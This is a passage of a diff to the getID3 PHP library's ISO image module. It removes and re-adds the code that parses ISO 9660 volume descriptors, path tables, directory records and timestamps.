getid3_lib::LittleEndian2Int(substr($ISOheader, 140, 2)); - $thisfile_iso_primaryVD_raw['path_table_l_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 144, 2)); - $thisfile_iso_primaryVD_raw['path_table_m_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 148, 2)); - $thisfile_iso_primaryVD_raw['path_table_m_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 152, 2)); - $thisfile_iso_primaryVD_raw['root_directory_record'] = substr($ISOheader, 156, 34); - $thisfile_iso_primaryVD_raw['volume_set_identifier'] = substr($ISOheader, 190, 128); - $thisfile_iso_primaryVD_raw['publisher_identifier'] = substr($ISOheader, 318, 128); - $thisfile_iso_primaryVD_raw['data_preparer_identifier'] = substr($ISOheader, 446, 128); - $thisfile_iso_primaryVD_raw['application_identifier'] = substr($ISOheader, 574, 128); - $thisfile_iso_primaryVD_raw['copyright_file_identifier'] = substr($ISOheader, 702, 37); - $thisfile_iso_primaryVD_raw['abstract_file_identifier'] = substr($ISOheader, 739, 37); - $thisfile_iso_primaryVD_raw['bibliographic_file_identifier'] = substr($ISOheader, 776, 37); - $thisfile_iso_primaryVD_raw['volume_creation_date_time'] = substr($ISOheader, 813, 17); - $thisfile_iso_primaryVD_raw['volume_modification_date_time'] = substr($ISOheader, 830, 17); - $thisfile_iso_primaryVD_raw['volume_expiration_date_time'] = substr($ISOheader, 847, 17); - $thisfile_iso_primaryVD_raw['volume_effective_date_time'] = substr($ISOheader, 864, 17); - $thisfile_iso_primaryVD_raw['file_structure_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 881, 1)); - //$thisfile_iso_primaryVD_raw['unused_4'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 882, 1)); - $thisfile_iso_primaryVD_raw['application_data'] = substr($ISOheader, 883, 512); - //$thisfile_iso_primaryVD_raw['unused_5'] = substr($ISOheader, 1395, 653); - - $thisfile_iso_primaryVD['system_identifier'] = trim($thisfile_iso_primaryVD_raw['system_identifier']); - $thisfile_iso_primaryVD['volume_identifier'] = trim($thisfile_iso_primaryVD_raw['volume_identifier']); - $thisfile_iso_primaryVD['volume_set_identifier'] = trim($thisfile_iso_primaryVD_raw['volume_set_identifier']); - $thisfile_iso_primaryVD['publisher_identifier'] = trim($thisfile_iso_primaryVD_raw['publisher_identifier']); - $thisfile_iso_primaryVD['data_preparer_identifier'] = trim($thisfile_iso_primaryVD_raw['data_preparer_identifier']); - $thisfile_iso_primaryVD['application_identifier'] = trim($thisfile_iso_primaryVD_raw['application_identifier']); - $thisfile_iso_primaryVD['copyright_file_identifier'] = trim($thisfile_iso_primaryVD_raw['copyright_file_identifier']); - $thisfile_iso_primaryVD['abstract_file_identifier'] = trim($thisfile_iso_primaryVD_raw['abstract_file_identifier']); - $thisfile_iso_primaryVD['bibliographic_file_identifier'] = trim($thisfile_iso_primaryVD_raw['bibliographic_file_identifier']); - $thisfile_iso_primaryVD['volume_creation_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_creation_date_time']); - $thisfile_iso_primaryVD['volume_modification_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_modification_date_time']); - $thisfile_iso_primaryVD['volume_expiration_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_expiration_date_time']); - $thisfile_iso_primaryVD['volume_effective_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_effective_date_time']); - - if (($thisfile_iso_primaryVD_raw['volume_space_size'] * 2048) > $info['filesize']) { - $this->error('Volume Space Size ('.($thisfile_iso_primaryVD_raw['volume_space_size'] * 2048).' bytes) is larger than the file size ('.$info['filesize'].' bytes) (truncated file?)'); - } - - return true; - } - - /** - * @param string $ISOheader - * - * @return bool - */ - public function ParseSupplementaryVolumeDescriptor(&$ISOheader) { - // ISO integer values are stored Both-Endian format!! - // ie 12345 == 0x3039 is stored as $39 $30 $30 $39 in a 4-byte field - - // shortcuts - $info = &$this->getid3->info; - $info['iso']['supplementary_volume_descriptor']['raw'] = array(); - $thisfile_iso_supplementaryVD = &$info['iso']['supplementary_volume_descriptor']; - $thisfile_iso_supplementaryVD_raw = &$thisfile_iso_supplementaryVD['raw']; - - $thisfile_iso_supplementaryVD_raw['volume_descriptor_type'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 0, 1)); - $thisfile_iso_supplementaryVD_raw['standard_identifier'] = substr($ISOheader, 1, 5); - if ($thisfile_iso_supplementaryVD_raw['standard_identifier'] != 'CD001') { - $this->error('Expected "CD001" at offset ('.($thisfile_iso_supplementaryVD['offset'] + 1).'), found "'.$thisfile_iso_supplementaryVD_raw['standard_identifier'].'" instead'); - unset($info['fileformat']); - unset($info['iso']); - return false; - } - - $thisfile_iso_supplementaryVD_raw['volume_descriptor_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 6, 1)); - //$thisfile_iso_supplementaryVD_raw['unused_1'] = substr($ISOheader, 7, 1); - $thisfile_iso_supplementaryVD_raw['system_identifier'] = substr($ISOheader, 8, 32); - $thisfile_iso_supplementaryVD_raw['volume_identifier'] = substr($ISOheader, 40, 32); - //$thisfile_iso_supplementaryVD_raw['unused_2'] = substr($ISOheader, 72, 8); - $thisfile_iso_supplementaryVD_raw['volume_space_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 80, 4)); - if ($thisfile_iso_supplementaryVD_raw['volume_space_size'] == 0) { - // Supplementary Volume Descriptor not used - //unset($thisfile_iso_supplementaryVD); - //return false; - } - - //$thisfile_iso_supplementaryVD_raw['unused_3'] = substr($ISOheader, 88, 32); - $thisfile_iso_supplementaryVD_raw['volume_set_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 120, 2)); - $thisfile_iso_supplementaryVD_raw['volume_sequence_number'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 124, 2)); - $thisfile_iso_supplementaryVD_raw['logical_block_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 128, 2)); - $thisfile_iso_supplementaryVD_raw['path_table_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 132, 4)); - $thisfile_iso_supplementaryVD_raw['path_table_l_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 140, 2)); - $thisfile_iso_supplementaryVD_raw['path_table_l_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 144, 2)); - $thisfile_iso_supplementaryVD_raw['path_table_m_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 148, 2)); - $thisfile_iso_supplementaryVD_raw['path_table_m_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 152, 2)); - $thisfile_iso_supplementaryVD_raw['root_directory_record'] = substr($ISOheader, 156, 34); - $thisfile_iso_supplementaryVD_raw['volume_set_identifier'] = substr($ISOheader, 190, 128); - $thisfile_iso_supplementaryVD_raw['publisher_identifier'] = substr($ISOheader, 318, 128); - $thisfile_iso_supplementaryVD_raw['data_preparer_identifier'] = substr($ISOheader, 446, 128); - $thisfile_iso_supplementaryVD_raw['application_identifier'] = substr($ISOheader, 574, 128); - $thisfile_iso_supplementaryVD_raw['copyright_file_identifier'] = substr($ISOheader, 702, 37); - $thisfile_iso_supplementaryVD_raw['abstract_file_identifier'] = substr($ISOheader, 739, 37); - $thisfile_iso_supplementaryVD_raw['bibliographic_file_identifier'] = substr($ISOheader, 776, 37); - $thisfile_iso_supplementaryVD_raw['volume_creation_date_time'] = substr($ISOheader, 813, 17); - $thisfile_iso_supplementaryVD_raw['volume_modification_date_time'] = substr($ISOheader, 830, 17); - $thisfile_iso_supplementaryVD_raw['volume_expiration_date_time'] = substr($ISOheader, 847, 17); - $thisfile_iso_supplementaryVD_raw['volume_effective_date_time'] = substr($ISOheader, 864, 17); - $thisfile_iso_supplementaryVD_raw['file_structure_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 881, 1)); - //$thisfile_iso_supplementaryVD_raw['unused_4'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 882, 1)); - $thisfile_iso_supplementaryVD_raw['application_data'] = substr($ISOheader, 883, 512); - //$thisfile_iso_supplementaryVD_raw['unused_5'] = substr($ISOheader, 1395, 653); - - $thisfile_iso_supplementaryVD['system_identifier'] = trim($thisfile_iso_supplementaryVD_raw['system_identifier']); - $thisfile_iso_supplementaryVD['volume_identifier'] = trim($thisfile_iso_supplementaryVD_raw['volume_identifier']); - $thisfile_iso_supplementaryVD['volume_set_identifier'] = trim($thisfile_iso_supplementaryVD_raw['volume_set_identifier']); - $thisfile_iso_supplementaryVD['publisher_identifier'] = trim($thisfile_iso_supplementaryVD_raw['publisher_identifier']); - $thisfile_iso_supplementaryVD['data_preparer_identifier'] = trim($thisfile_iso_supplementaryVD_raw['data_preparer_identifier']); - $thisfile_iso_supplementaryVD['application_identifier'] = trim($thisfile_iso_supplementaryVD_raw['application_identifier']); - $thisfile_iso_supplementaryVD['copyright_file_identifier'] = trim($thisfile_iso_supplementaryVD_raw['copyright_file_identifier']); - $thisfile_iso_supplementaryVD['abstract_file_identifier'] = trim($thisfile_iso_supplementaryVD_raw['abstract_file_identifier']); - $thisfile_iso_supplementaryVD['bibliographic_file_identifier'] = trim($thisfile_iso_supplementaryVD_raw['bibliographic_file_identifier']); - $thisfile_iso_supplementaryVD['volume_creation_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_creation_date_time']); - $thisfile_iso_supplementaryVD['volume_modification_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_modification_date_time']); - $thisfile_iso_supplementaryVD['volume_expiration_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_expiration_date_time']); - $thisfile_iso_supplementaryVD['volume_effective_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_supplementaryVD_raw['volume_effective_date_time']); - - if (($thisfile_iso_supplementaryVD_raw['volume_space_size'] * $thisfile_iso_supplementaryVD_raw['logical_block_size']) > $info['filesize']) { - $this->error('Volume Space Size ('.($thisfile_iso_supplementaryVD_raw['volume_space_size'] * $thisfile_iso_supplementaryVD_raw['logical_block_size']).' bytes) is larger than the file size ('.$info['filesize'].' bytes) (truncated file?)'); - } - - return true; - } - - /** - * @return bool - */ - public function ParsePathTable() { - $info = &$this->getid3->info; - if (!isset($info['iso']['supplementary_volume_descriptor']['raw']['path_table_l_location']) && !isset($info['iso']['primary_volume_descriptor']['raw']['path_table_l_location'])) { - return false; - } - if (isset($info['iso']['supplementary_volume_descriptor']['raw']['path_table_l_location'])) { - $PathTableLocation = $info['iso']['supplementary_volume_descriptor']['raw']['path_table_l_location']; - $PathTableSize = $info['iso']['supplementary_volume_descriptor']['raw']['path_table_size']; - $TextEncoding = 'UTF-16BE'; // Big-Endian Unicode - } else { - $PathTableLocation = $info['iso']['primary_volume_descriptor']['raw']['path_table_l_location']; - $PathTableSize = $info['iso']['primary_volume_descriptor']['raw']['path_table_size']; - $TextEncoding = 'ISO-8859-1'; // Latin-1 - } - - if (($PathTableLocation * 2048) > $info['filesize']) { - $this->error('Path Table Location specifies an offset ('.($PathTableLocation * 2048).') beyond the end-of-file ('.$info['filesize'].')'); - return false; - } - - $info['iso']['path_table']['offset'] = $PathTableLocation * 2048; - $this->fseek($info['iso']['path_table']['offset']); - $info['iso']['path_table']['raw'] = $this->fread($PathTableSize); - - $offset = 0; - $pathcounter = 1; - $FullPathArray = array(); - while ($offset < $PathTableSize) { - // shortcut - $info['iso']['path_table']['directories'][$pathcounter] = array(); - $thisfile_iso_pathtable_directories_current = &$info['iso']['path_table']['directories'][$pathcounter]; - - $thisfile_iso_pathtable_directories_current['length'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 1)); - $offset += 1; - $thisfile_iso_pathtable_directories_current['extended_length'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 1)); - $offset += 1; - $thisfile_iso_pathtable_directories_current['location_logical'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 4)); - $offset += 4; - $thisfile_iso_pathtable_directories_current['parent_directory'] = getid3_lib::LittleEndian2Int(substr($info['iso']['path_table']['raw'], $offset, 2)); - $offset += 2; - $thisfile_iso_pathtable_directories_current['name'] = substr($info['iso']['path_table']['raw'], $offset, $thisfile_iso_pathtable_directories_current['length']); - $offset += $thisfile_iso_pathtable_directories_current['length'] + ($thisfile_iso_pathtable_directories_current['length'] % 2); - - $thisfile_iso_pathtable_directories_current['name_ascii'] = getid3_lib::iconv_fallback($TextEncoding, $info['encoding'], $thisfile_iso_pathtable_directories_current['name']); - - $thisfile_iso_pathtable_directories_current['location_bytes'] = $thisfile_iso_pathtable_directories_current['location_logical'] * 2048; - if ($pathcounter == 1) { - $thisfile_iso_pathtable_directories_current['full_path'] = '/'; - } else { - $thisfile_iso_pathtable_directories_current['full_path'] = $info['iso']['path_table']['directories'][$thisfile_iso_pathtable_directories_current['parent_directory']]['full_path'].$thisfile_iso_pathtable_directories_current['name_ascii'].'/'; - } - $FullPathArray[] = $thisfile_iso_pathtable_directories_current['full_path']; - - $pathcounter++; - } - - return true; - } - - /** - * @param array $directorydata - * - * @return array - */ - public function ParseDirectoryRecord($directorydata) { - $info = &$this->getid3->info; - if (isset($info['iso']['supplementary_volume_descriptor'])) { - $TextEncoding = 'UTF-16BE'; // Big-Endian Unicode - } else { - $TextEncoding = 'ISO-8859-1'; // Latin-1 - } - - $this->fseek($directorydata['location_bytes']); - $DirectoryRecordData = $this->fread(1); - $DirectoryRecord = array(); - - while (ord($DirectoryRecordData[0]) > 33) { - - $DirectoryRecordData .= $this->fread(ord($DirectoryRecordData[0]) - 1); - - $ThisDirectoryRecord = array(); - - $ThisDirectoryRecord['raw']['length'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 0, 1)); - $ThisDirectoryRecord['raw']['extended_attribute_length'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 1, 1)); - $ThisDirectoryRecord['raw']['offset_logical'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 2, 4)); - $ThisDirectoryRecord['raw']['filesize'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 10, 4)); - $ThisDirectoryRecord['raw']['recording_date_time'] = substr($DirectoryRecordData, 18, 7); - $ThisDirectoryRecord['raw']['file_flags'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 25, 1)); - $ThisDirectoryRecord['raw']['file_unit_size'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 26, 1)); - $ThisDirectoryRecord['raw']['interleave_gap_size'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 27, 1)); - $ThisDirectoryRecord['raw']['volume_sequence_number'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 28, 2)); - $ThisDirectoryRecord['raw']['file_identifier_length'] = getid3_lib::LittleEndian2Int(substr($DirectoryRecordData, 32, 1)); - $ThisDirectoryRecord['raw']['file_identifier'] = substr($DirectoryRecordData, 33, $ThisDirectoryRecord['raw']['file_identifier_length']); - - $ThisDirectoryRecord['file_identifier_ascii'] = getid3_lib::iconv_fallback($TextEncoding, $info['encoding'], $ThisDirectoryRecord['raw']['file_identifier']); - - $ThisDirectoryRecord['filesize'] = $ThisDirectoryRecord['raw']['filesize']; - $ThisDirectoryRecord['offset_bytes'] = $ThisDirectoryRecord['raw']['offset_logical'] * 2048; - $ThisDirectoryRecord['file_flags']['hidden'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x01); - $ThisDirectoryRecord['file_flags']['directory'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x02); - $ThisDirectoryRecord['file_flags']['associated'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x04); - $ThisDirectoryRecord['file_flags']['extended'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x08); - $ThisDirectoryRecord['file_flags']['permissions'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x10); - $ThisDirectoryRecord['file_flags']['multiple'] = (bool) ($ThisDirectoryRecord['raw']['file_flags'] & 0x80); - $ThisDirectoryRecord['recording_timestamp'] = $this->ISOtime2UNIXtime($ThisDirectoryRecord['raw']['recording_date_time']); - - if ($ThisDirectoryRecord['file_flags']['directory']) { - $ThisDirectoryRecord['filename'] = $directorydata['full_path']; - } else { - $ThisDirectoryRecord['filename'] = $directorydata['full_path'].$this->ISOstripFilenameVersion($ThisDirectoryRecord['file_identifier_ascii']); - $info['iso']['files'] = getid3_lib::array_merge_clobber($info['iso']['files'], getid3_lib::CreateDeepArray($ThisDirectoryRecord['filename'], '/', $ThisDirectoryRecord['filesize'])); - } - - $DirectoryRecord[] = $ThisDirectoryRecord; - $DirectoryRecordData = $this->fread(1); - } - - return $DirectoryRecord; - } - - /** - * @param string $ISOfilename - * - * @return string - */ - public function ISOstripFilenameVersion($ISOfilename) { - // convert 'filename.ext;1' to 'filename.ext' - if (!strstr($ISOfilename, ';')) { - return $ISOfilename; - } else { - return substr($ISOfilename, 0, strpos($ISOfilename, ';')); - } - } - - /** - * @param string $ISOtime - * - * @return int|false - */ - public function ISOtimeText2UNIXtime($ISOtime) { - - $UNIXyear = (int) substr($ISOtime, 0, 4); - $UNIXmonth = (int) substr($ISOtime, 4, 2); - $UNIXday = (int) substr($ISOtime, 6, 2); - $UNIXhour = (int) substr($ISOtime, 8, 2); - $UNIXminute = (int) substr($ISOtime, 10, 2); - $UNIXsecond = (int) substr($ISOtime, 12, 2); - - if (!$UNIXyear) { - return false; - } - return gmmktime($UNIXhour, $UNIXminute, $UNIXsecond, $UNIXmonth, $UNIXday, $UNIXyear); - } - - /** - * @param string $ISOtime - * - * @return int - */ - public function ISOtime2UNIXtime($ISOtime) { - // Represented by seven bytes: - // 1: Number of years since 1900 - // 2: Month of the year from 1 to 12 - // 3: Day of the Month from 1 to 31 - // 4: Hour of the day from 0 to 23 - // 5: Minute of the hour from 0 to 59 - // 6: second of the minute from 0 to 59 - // 7: Offset from Greenwich Mean Time in number of 15 minute intervals from -48 (West) to +52 (East) - - $UNIXyear = ord($ISOtime[0]) + 1900; - $UNIXmonth = ord($ISOtime[1]); - $UNIXday = ord($ISOtime[2]); - $UNIXhour = ord($ISOtime[3]); - $UNIXminute = ord($ISOtime[4]); - $UNIXsecond = ord($ISOtime[5]); - $GMToffset = $this->TwosCompliment2Decimal(ord($ISOtime[5])); - - return gmmktime($UNIXhour, $UNIXminute, $UNIXsecond, $UNIXmonth, $UNIXday, $UNIXyear); - } - - /** - * @param int $BinaryValue - * - * @return int - */ - public function TwosCompliment2Decimal($BinaryValue) { - // http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html - // First check if the number is negative or positive by looking at the sign bit. - // If it is positive, simply convert it to decimal. - // If it is negative, make it positive by inverting the bits and adding one. - // Then, convert the result to decimal. - // The negative of this number is the value of the original binary. - - if ($BinaryValue & 0x80) { - - // negative number - return (0 - ((~$BinaryValue & 0xFF) + 1)); - } else { - // positive number - return $BinaryValue; - } - } - - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.misc.iso.php // +// module for analyzing ISO files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_iso extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'iso'; + + for ($i = 16; $i <= 19; $i++) { + $this->fseek(2048 * $i); + $ISOheader = $this->fread(2048); + if (substr($ISOheader, 1, 5) == 'CD001') { + switch (ord($ISOheader[0])) { + case 1: + $info['iso']['primary_volume_descriptor']['offset'] = 2048 * $i; + $this->ParsePrimaryVolumeDescriptor($ISOheader); + break; + + case 2: + $info['iso']['supplementary_volume_descriptor']['offset'] = 2048 * $i; + $this->ParseSupplementaryVolumeDescriptor($ISOheader); + break; + + default: + // skip + break; + } + } + } + + $this->ParsePathTable(); + + $info['iso']['files'] = array(); + if (!empty($info['iso']['path_table']['directories'])) { + foreach ($info['iso']['path_table']['directories'] as $directorynum => $directorydata) { + $info['iso']['directories'][$directorynum] = $this->ParseDirectoryRecord($directorydata); + } + } + + return true; + } + + /** + * @param string $ISOheader + * + * @return bool + */ + public function ParsePrimaryVolumeDescriptor(&$ISOheader) { + // ISO integer values are stored *BOTH* Little-Endian AND Big-Endian format!! + // ie 12345 == 0x3039 is stored as $39 $30 $30 $39 in a 4-byte field + + // shortcuts + $info = &$this->getid3->info; + $info['iso']['primary_volume_descriptor']['raw'] = array(); + $thisfile_iso_primaryVD = &$info['iso']['primary_volume_descriptor']; + $thisfile_iso_primaryVD_raw = &$thisfile_iso_primaryVD['raw']; + + $thisfile_iso_primaryVD_raw['volume_descriptor_type'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 0, 1)); + $thisfile_iso_primaryVD_raw['standard_identifier'] = substr($ISOheader, 1, 5); + if ($thisfile_iso_primaryVD_raw['standard_identifier'] != 'CD001') { + $this->error('Expected "CD001" at offset ('.($thisfile_iso_primaryVD['offset'] + 1).'), found "'.$thisfile_iso_primaryVD_raw['standard_identifier'].'" instead'); + unset($info['fileformat']); + unset($info['iso']); + return false; + } + + + $thisfile_iso_primaryVD_raw['volume_descriptor_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 6, 1)); + //$thisfile_iso_primaryVD_raw['unused_1'] = substr($ISOheader, 7, 1); + $thisfile_iso_primaryVD_raw['system_identifier'] = substr($ISOheader, 8, 32); + $thisfile_iso_primaryVD_raw['volume_identifier'] = substr($ISOheader, 40, 32); + //$thisfile_iso_primaryVD_raw['unused_2'] = substr($ISOheader, 72, 8); + $thisfile_iso_primaryVD_raw['volume_space_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 80, 4)); + //$thisfile_iso_primaryVD_raw['unused_3'] = substr($ISOheader, 88, 32); + $thisfile_iso_primaryVD_raw['volume_set_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 120, 2)); + $thisfile_iso_primaryVD_raw['volume_sequence_number'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 124, 2)); + $thisfile_iso_primaryVD_raw['logical_block_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 128, 2)); + $thisfile_iso_primaryVD_raw['path_table_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 132, 4)); + $thisfile_iso_primaryVD_raw['path_table_l_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 140, 2)); + $thisfile_iso_primaryVD_raw['path_table_l_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 144, 2)); + $thisfile_iso_primaryVD_raw['path_table_m_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 148, 2)); + $thisfile_iso_primaryVD_raw['path_table_m_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 152, 2)); + $thisfile_iso_primaryVD_raw['root_directory_record'] = substr($ISOheader, 156, 34); + $thisfile_iso_primaryVD_raw['volume_set_identifier'] = substr($ISOheader, 190, 128); + $thisfile_iso_primaryVD_raw['publisher_identifier'] = substr($ISOheader, 318, 128); + $thisfile_iso_primaryVD_raw['data_preparer_identifier'] = substr($ISOheader, 446, 128); + $thisfile_iso_primaryVD_raw['application_identifier'] = substr($ISOheader, 574, 128); + $thisfile_iso_primaryVD_raw['copyright_file_identifier'] = substr($ISOheader, 702, 37); + $thisfile_iso_primaryVD_raw['abstract_file_identifier'] = substr($ISOheader, 739, 37); + $thisfile_iso_primaryVD_raw['bibliographic_file_identifier'] = substr($ISOheader, 776, 37); + $thisfile_iso_primaryVD_raw['volume_creation_date_time'] = substr($ISOheader, 813, 17); + $thisfile_iso_primaryVD_raw['volume_modification_date_time'] = substr($ISOheader, 830, 17); + $thisfile_iso_primaryVD_raw['volume_expiration_date_time'] = substr($ISOheader, 847, 17); + $thisfile_iso_primaryVD_raw['volume_effective_date_time'] = substr($ISOheader, 864, 17); + $thisfile_iso_primaryVD_raw['file_structure_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 881, 1)); + //$thisfile_iso_primaryVD_raw['unused_4'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 882, 1)); + $thisfile_iso_primaryVD_raw['application_data'] = substr($ISOheader, 883, 512); + //$thisfile_iso_primaryVD_raw['unused_5'] = substr($ISOheader, 1395, 653); + + $thisfile_iso_primaryVD['system_identifier'] = trim($thisfile_iso_primaryVD_raw['system_identifier']); + $thisfile_iso_primaryVD['volume_identifier'] = trim($thisfile_iso_primaryVD_raw['volume_identifier']); + $thisfile_iso_primaryVD['volume_set_identifier'] = trim($thisfile_iso_primaryVD_raw['volume_set_identifier']); + $thisfile_iso_primaryVD['publisher_identifier'] = trim($thisfile_iso_primaryVD_raw['publisher_identifier']); + $thisfile_iso_primaryVD['data_preparer_identifier'] = trim($thisfile_iso_primaryVD_raw['data_preparer_identifier']); + $thisfile_iso_primaryVD['application_identifier'] = trim($thisfile_iso_primaryVD_raw['application_identifier']); + $thisfile_iso_primaryVD['copyright_file_identifier'] = trim($thisfile_iso_primaryVD_raw['copyright_file_identifier']); + $thisfile_iso_primaryVD['abstract_file_identifier'] = trim($thisfile_iso_primaryVD_raw['abstract_file_identifier']); + $thisfile_iso_primaryVD['bibliographic_file_identifier'] = trim($thisfile_iso_primaryVD_raw['bibliographic_file_identifier']); + $thisfile_iso_primaryVD['volume_creation_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_creation_date_time']); + $thisfile_iso_primaryVD['volume_modification_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_modification_date_time']); + $thisfile_iso_primaryVD['volume_expiration_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_expiration_date_time']); + $thisfile_iso_primaryVD['volume_effective_date_time'] = $this->ISOtimeText2UNIXtime($thisfile_iso_primaryVD_raw['volume_effective_date_time']); + + if (($thisfile_iso_primaryVD_raw['volume_space_size'] * 2048) > $info['filesize']) { + $this->error('Volume Space Size ('.($thisfile_iso_primaryVD_raw['volume_space_size'] * 2048).' bytes) is larger than the file size ('.$info['filesize'].' bytes) (truncated file?)'); + } + + return true; + } + + /** + * @param string $ISOheader + * + * @return bool + */ + public function ParseSupplementaryVolumeDescriptor(&$ISOheader) { + // ISO integer values are stored Both-Endian format!! + // ie 12345 == 0x3039 is stored as $39 $30 $30 $39 in a 4-byte field + + // shortcuts + $info = &$this->getid3->info; + $info['iso']['supplementary_volume_descriptor']['raw'] = array(); + $thisfile_iso_supplementaryVD = &$info['iso']['supplementary_volume_descriptor']; + $thisfile_iso_supplementaryVD_raw = &$thisfile_iso_supplementaryVD['raw']; + + $thisfile_iso_supplementaryVD_raw['volume_descriptor_type'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 0, 1)); + $thisfile_iso_supplementaryVD_raw['standard_identifier'] = substr($ISOheader, 1, 5); + if ($thisfile_iso_supplementaryVD_raw['standard_identifier'] != 'CD001') { + $this->error('Expected "CD001" at offset ('.($thisfile_iso_supplementaryVD['offset'] + 1).'), found "'.$thisfile_iso_supplementaryVD_raw['standard_identifier'].'" instead'); + unset($info['fileformat']); + unset($info['iso']); + return false; + } + + $thisfile_iso_supplementaryVD_raw['volume_descriptor_version'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 6, 1)); + //$thisfile_iso_supplementaryVD_raw['unused_1'] = substr($ISOheader, 7, 1); + $thisfile_iso_supplementaryVD_raw['system_identifier'] = substr($ISOheader, 8, 32); + $thisfile_iso_supplementaryVD_raw['volume_identifier'] = substr($ISOheader, 40, 32); + //$thisfile_iso_supplementaryVD_raw['unused_2'] = substr($ISOheader, 72, 8); + $thisfile_iso_supplementaryVD_raw['volume_space_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 80, 4)); + if ($thisfile_iso_supplementaryVD_raw['volume_space_size'] == 0) { + // Supplementary Volume Descriptor not used + //unset($thisfile_iso_supplementaryVD); + //return false; + } + + //$thisfile_iso_supplementaryVD_raw['unused_3'] = substr($ISOheader, 88, 32); + $thisfile_iso_supplementaryVD_raw['volume_set_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 120, 2)); + $thisfile_iso_supplementaryVD_raw['volume_sequence_number'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 124, 2)); + $thisfile_iso_supplementaryVD_raw['logical_block_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 128, 2)); + $thisfile_iso_supplementaryVD_raw['path_table_size'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 132, 4)); + $thisfile_iso_supplementaryVD_raw['path_table_l_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 140, 2)); + $thisfile_iso_supplementaryVD_raw['path_table_l_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 144, 2)); + $thisfile_iso_supplementaryVD_raw['path_table_m_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 148, 2)); + $thisfile_iso_supplementaryVD_raw['path_table_m_opt_location'] = getid3_lib::LittleEndian2Int(substr($ISOheader, 152, 2)); + $thisfile_iso_supplementaryVD_raw['root_directory_record'] = substr($ISOheader, 156, 34); + $thisfile_iso_supplementaryVD_raw['volume_set_identifier'] = substr($ISOheader, 190, 128); + $thisfile_iso_supplementaryVD_raw['publisher_identifier'] = substr($ISOheader, 318, 128); + 